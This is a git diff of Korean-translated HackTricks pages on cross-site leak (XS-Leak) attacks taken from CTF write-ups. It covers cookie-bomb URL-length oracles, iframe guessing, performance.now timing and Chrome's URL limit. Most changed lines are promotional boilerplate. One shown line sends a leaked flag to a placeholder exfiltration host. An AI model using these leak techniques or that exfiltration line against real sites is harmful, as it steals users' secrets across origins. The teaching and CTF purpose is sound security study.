다음 **스크립트**는 사용자가 **임의의 양의 쿠키를 삽입**할 수 있는 기능을 악용하고, 그런 다음 파일을 스크립트로 로드하는 것을 이용합니다. 이때, 진짜 응답이 거짓 응답보다 크다는 것을 알고 있으며, 성공하면 응답은 결과 URL이 더 길어져서 서버가 처리하기에 **너무 크므로 오류 HTTP 상태 코드를 반환**합니다. 검색이 실패하면 URL이 짧기 때문에 아무 일도 일어나지 않습니다.
|
||||
다음 **스크립트**는 [**여기**](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/)에서 가져온 것으로, 사용자가 **임의의 양의 쿠키를 삽입**할 수 있는 기능을 악용하고, 그런 다음 실제 응답이 잘못된 응답보다 더 클 것이라는 것을 알고 파일을 스크립트로 로드합니다. 성공하면 응답은 리디렉션이며 결과 URL이 더 길어져서 **서버에서 처리하기에는 너무 커서 오류 HTTP 상태 코드를 반환합니다**. 검색이 실패하면 URL이 짧기 때문에 아무 일도 일어나지 않습니다.
|
||||
```html
|
||||
<>'";<form action='https://sustenance.web.actf.co/s' method=POST><input id=f /><input name=search value=a /></form>
|
||||
<script>
|
||||
|
@ -61,14 +64,17 @@ break;
|
|||
};
|
||||
</script>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# JavaScript Execution XS Leak
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```javascript
|
||||
// Code that will try ${guess} as flag (need rest of the server code
|
||||
app.get('/guessing', function(req, res) {
|
||||
|
@ -30,7 +33,7 @@ window.parent.foo()
|
|||
res.send(page)
|
||||
});
|
||||
```
|
||||
이전 `/guessing` 페이지로의 각 가능성을 테스트하기 위해 iframe을 생성하는 메인 페이지입니다.
|
||||
메인 페이지는 각 가능성을 테스트하기 위해 이전 `/guessing` 페이지에 대한 iframe을 생성합니다.
|
||||
```html
|
||||
<html>
|
||||
<head>
|
||||
|
@ -75,14 +78,17 @@ hack.innerHTML = iframe
|
|||
</div>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,23 +1,26 @@
|
|||
# performance.now + Force heavy task
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 팁을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Exploit taken from [https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/](https://blog.huli.tw/2022/06/14/en/justctf-2022-xsleak-writeup/)**
|
||||
|
||||
이 도전에서 사용자는 수천 개의 문자를 보낼 수 있으며, 플래그가 포함되어 있다면 문자는 봇으로 다시 전송됩니다. 따라서 공격자는 많은 양의 문자를 보내어 플래그가 전송된 문자열에 포함되어 있는지를 측정할 수 있습니다.
|
||||
이 도전에서 사용자는 수천 개의 문자를 보낼 수 있었고, 플래그가 포함되어 있다면 문자가 봇으로 다시 전송되었습니다. 따라서 많은 양의 문자를 보내면 공격자는 전송된 문자열에 플래그가 포함되어 있는지 여부를 측정할 수 있었습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
처음에는 객체의 너비와 높이를 설정하지 않았지만, 나중에 중요하다는 것을 알게 되었습니다. 기본 크기는 로드 시간에 차이를 만들기에 너무 작습니다.
|
||||
처음에는 객체의 너비와 높이를 설정하지 않았지만, 나중에 로드 시간에 차이를 만들기에는 기본 크기가 너무 작기 때문에 중요하다는 것을 알게 되었습니다.
|
||||
{% endhint %}
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
|
@ -114,14 +117,17 @@ main()
|
|||
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,16 +1,19 @@
|
|||
# performance.now 예제
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로에서 영웅까지 AWS 해킹을 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 팁을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**예제는 [https://ctf.zeyu2001.com/2022/nitectf-2022/js-api](https://ctf.zeyu2001.com/2022/nitectf-2022/js-api)에서 가져왔습니다.**
|
||||
```javascript
|
||||
|
@ -54,14 +57,17 @@ new Image().src = '//exfil.host/log?' + encodeURIComponent(flag);
|
|||
|
||||
document.addEventListener('DOMContentLoaded', main);
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으신가요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,18 +1,21 @@
|
|||
# URL 최대 길이 - 클라이언트 측
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하거나 PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 플랜**](https://github.com/sponsors/carlospolop)을 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFT**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 팁을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)의 코드
|
||||
[https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)에서 코드 확인하기
|
||||
```html
|
||||
<html>
|
||||
<body></body>
|
||||
|
@ -78,14 +81,17 @@ return open('exploit.html', 'r').read()
|
|||
if __name__ == '__main__':
|
||||
app.run(host='0.0.0.0', port=1337)
|
||||
```
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사를 HackTricks에서 광고하고 싶으세요**? 아니면 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으세요? [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인해보세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견해보세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter**에서 저를 **팔로우**하세요 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **해킹 트릭을 공유하려면 PR을** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **에 제출하세요.**
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,25 @@
|
|||
# Abusing Service Workers
|
||||
# 서비스 워커 악용하기
|
||||
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
AWS 해킹 배우기 및 연습하기:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP 해킹 배우기 및 연습하기: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>AWS 해킹을 처음부터 전문가까지 배우세요</strong>!<strong>!</strong></summary>
|
||||
<summary>HackTricks 지원하기</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 혹은 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFT 컬렉션**](https://opensea.io/collection/the-peass-family)
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
|
||||
* [**구독 계획**](https://github.com/sponsors/carlospolop) 확인하기!
|
||||
* **💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/pentesting-web/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
